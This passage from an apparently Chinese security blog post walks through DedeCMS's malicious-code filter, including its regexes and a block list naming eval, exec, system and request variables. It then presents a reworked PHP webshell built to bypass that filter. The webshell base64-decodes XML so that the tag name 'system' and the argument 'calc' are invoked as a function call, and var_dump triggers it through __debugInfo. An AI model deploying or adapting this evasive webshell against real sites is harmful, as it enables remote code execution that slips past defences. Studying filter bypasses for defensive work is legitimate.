17);\"\u003E\"\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edede_htmlspecialchars\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Edie\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"DedeCMS提示:当前页面中存在恶意代码!<pre>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<\u002Fpre>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#[@][$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)]#iU\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E {\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edede_htmlspecialchars\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Edie\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"DedeCMS提示:当前页面中存在恶意代码!<pre>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<\u002Fpre>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#[`][\\s\\S]*[`]#i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E {\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edede_htmlspecialchars\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Edie\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"DedeCMS提示:当前页面中存在恶意代码!<pre>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<\u002Fpre>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E发现原因是因为有 waf\u003C\u002Fp\u003E\u003Cp\u003E直接交给一个聪明朋友\u003C\u002Fp\u003E\u003Cp\u003E移除多行注释\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E防止攻击者把危险代码写在注释中来绕过检测。\u003C\u002Fp\u003E\u003Cp\u003E危险函数与变量过滤\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'eval,assert,exec,...,$_GET,$_POST,...'\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E匹配并拦截使用了以下内容的代码:\u003C\u002Fp\u003E\u003Cp\u003E系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等\u003C\u002Fp\u003E\u003Cp\u003E全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS\u003C\u002Fp\u003E\u003Cp\u003E动态函数调用:call_user_func, create_function, 等\u003C\u002Fp\u003E\u003Cp\u003E一旦匹配:直接终止执行并提示危险代码。\u003C\u002Fp\u003E\u003Cp\u003EPHP 标签与代码执行行为检测\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"001.png\" src=\"\u002Fcloud-image\u002Fnews\u002F04f873c3-f17e-47c1-b093-79ff78a06c1e.png\" width=\"720\" height=\"213.68295589988082\"\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E感觉过滤还是挺严格的\u003C\u002Fp\u003E\u003Ch2\u003E绕过 waf 到 RCE\u003C\u002Fh2\u003E\u003Cp\u003E直接掏出上次的 webshell,稍微修改一下就 ok 了\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<?\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ephp\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eclass\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003EUser\u003C\u002Fspan\u003E {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eprivate\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$username\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eprivate\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Epublic\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003E__construct\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$username\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eusername\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$username\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Epassword\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Epublic\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003E__debugInfo\u003C\u002Fspan\u003E() {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlData\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ebase64_decode\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Enew\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ESimpleXMLElement\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlData\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$namespaces\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EgetNamespaces\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Erewind\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Evar_dump\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ekey\u003C\u002Fspan\u003E());\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$result\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Expath\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\u002Fbooks\u002Fsystem'\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Evar_dump\u003C\u002Fspan\u003E ((\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$result\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E]\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003E__toString\u003C\u002Fspan\u003E()));\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$xmlElement\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ekey\u003C\u002Fspan\u003E())(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$result\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E]\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003E__toString\u003C\u002Fspan\u003E());\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E [\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'username'\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eusername\u003C\u002Fspan\u003E,\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'info'\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'这是调试时返回的信息'\u003C\u002Fspan\u003E,\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'timestamp'\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Etime\u003C\u002Fspan\u003E()\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       ];\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$user\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Enew\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EUser\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'alice'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'secret123'\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Evar_dump\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$user\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E原理上次大概讲过了,就是自动触发\u003C\u002Fp\u003E\u003Cp\u003E详情可以看到蚁景网络安全这个公众号\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fc31c5305-ccfd-429e-a2d3-502d32d1fe2b.png\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\"https:\u002F\u002Fmp.weixin.qq.com\u002Fs\u002FWDWBwPQuXroBRpBPxkHOcg\" ref=\"nofollow\" target=\"_blank\" 